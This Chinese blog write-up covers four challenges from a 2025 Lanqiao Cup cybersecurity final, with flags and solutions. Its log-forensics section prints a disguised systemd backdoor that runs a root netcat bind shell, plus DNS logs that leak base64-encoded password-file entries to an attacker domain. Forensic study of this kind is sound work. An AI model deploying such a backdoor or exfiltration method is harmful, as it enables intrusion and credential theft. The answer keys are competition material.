蓝桥杯国赛网络安全赛道wp 2025

发表于 2025-06-21 更新于 2025-06- 29

作者 ENOCH

10~13 分钟 阅读

前言

平时用的台式机，这次用笔记本发现很多工具和环境没有，加上没怎么准备，打的很烂（毕竟我一个web手咋写全方向题嘛）

太惨淡了，wp仅供参考

log

查看日志，注意到

[Unit]
Description=System Backdoor Service (Disguised)
After=network.target

[Service]
Type=simple
ExecStart=/bin/sh -c "nc -lvp 31337 -e /bin/sh"
Restart=always
RestartSec=30
User=root

[Install]
WantedBy=multi-user.target

hidden_backdoor.service

Jun 15 02:40:15 dnsmasq[123]: query[A] CiAgICByb290Oio6MTk0Nzk6MDo5OTk5OTo3Ojo6.data.leak.ev from 192.168.42.77
Jun 15 02:40:17 dnsmasq[123]: query[A] CmRhZW1vbjoqOjE5NDc5OjA6OTk5OTk6Nzo6Ogph.data.leak.ev from 192.168.42.77
Jun 15 02:40:19 dnsmasq[123]: query[A] dHRhY2tlcjokNiRzZWNyZXQkZW5jcnlwdGVkcGFz.data.leak.ev from 192.168.42.77
Jun 15 02:40:21 dnsmasq[123]: query[A] c3dvcmQ6MTk0Nzk6MDo5OTk5OTo3Ojo6CiAgICA.data.leak.ev from 192.168.42.77

Jun 15 02:30:15 server sshd[5678]: Accepted password for attacker from 192.168.42.77 port 1337

提交形式：flag{SSH用户名_IP_恶意服务名称(不包括后缀)_DNS域名(固定部分)}

flag{attacker_192.168.42.77_hidden_backdoor_data.leak.ev}

xxtea

flag{4eb88a16-be48-4de2-ab2a-ed09a09ed386}

fastcoll

fastcoll_v1.0.0.5.exe -p 1.txt -o 3.bin 4.bin

1.txt内是gamelab

Z2FtZWxhYgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEZ/l+RMGN7OBxohgBlBH0WNuz3HBKtRZkNSf32SlqJxORO20X5y7RcPKtNZ0qnHFvrtOMc7ZH3vkLfPJQwh47yz/9+DUZAqkzl8aEOn29N15pXxCg63YGLR9/TEXWFZokuR18IfWnLBo23Mj4+CRoQUEqlfV1nqzt7ZSNmqm2HD

Z2FtZWxhYgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEZ/l+RMGN7OBxohgBlBH0WNuz1HBKtRZkNSf32SlqJxORO20X5y7RcPKtNZ0inHFvrtOMc7ZH3vkLfPpQwh47yz/9+DUZAqkzl8aEOn29N15pXxig63YGLR9/TEXWFZokuR18IfWnLBo23Mj48CR4QUEqlfV1nqzt7ZSFmqm2HD

flag{57523dac-7544-49a4-8bdd-804549728454}

rand_pyc


def decode():
    s = [
     4417023, 5690625, 9639225, 1327718, 4417023, 5085550, 5752075, 
     9556690, 5240080, 6431679, 3428007, 3189766, 3438336, 5757818, 
     3189766, 5690625, 4148389, 2254831, 6292433, 2122126, 5240080, 
     6431679, 9488271, 2464675, 7216908, 5757818, 3189766, 5690625, 
     3438336, 6431679, 2360475, 6002055, 5240080, 9040261, 8655414, 
     9347278, 3438336, 2254831, 2122126, 5135281, 2360475, 9347278, 
     4417023, 1327718, 3438336, 3448715, 9488271, 5501611, 5240080, 
     5757818, 9488271, 5501611, 5240080, 9347278, 4148389, 1714134, 
     9923116, 4267438, 4263793, 5752075, 2464675, 7777627, 6002055, 
     3485900]
    for a in s:
        for i in "qazwsxedcrfvtgbnhyujmikolpQWERTYUIOPASDFGHJKLZXCVBNM1234567890_{}":
            random.seed(ord(i))
            if (a == random.randint(1000000, 9999999)):
                print(i, end="")
                break

decode()

ZmxhZ3szMGRlOTlmNC01MGQyLTlmOGYtMjg2OC1kY2ZhOWQ4MTQ4M2N9

flag{30de99f4-50d2-9f8f-2868-dcfa9d81483c}

如果只写出四题（共12题）能拿到国奖，考虑明年接着打，不然真有点不想打了，全栈神太多了
更何况，我的300块啊！！不对，是600块😭
后续：国三

许可协议: CC BY 4.0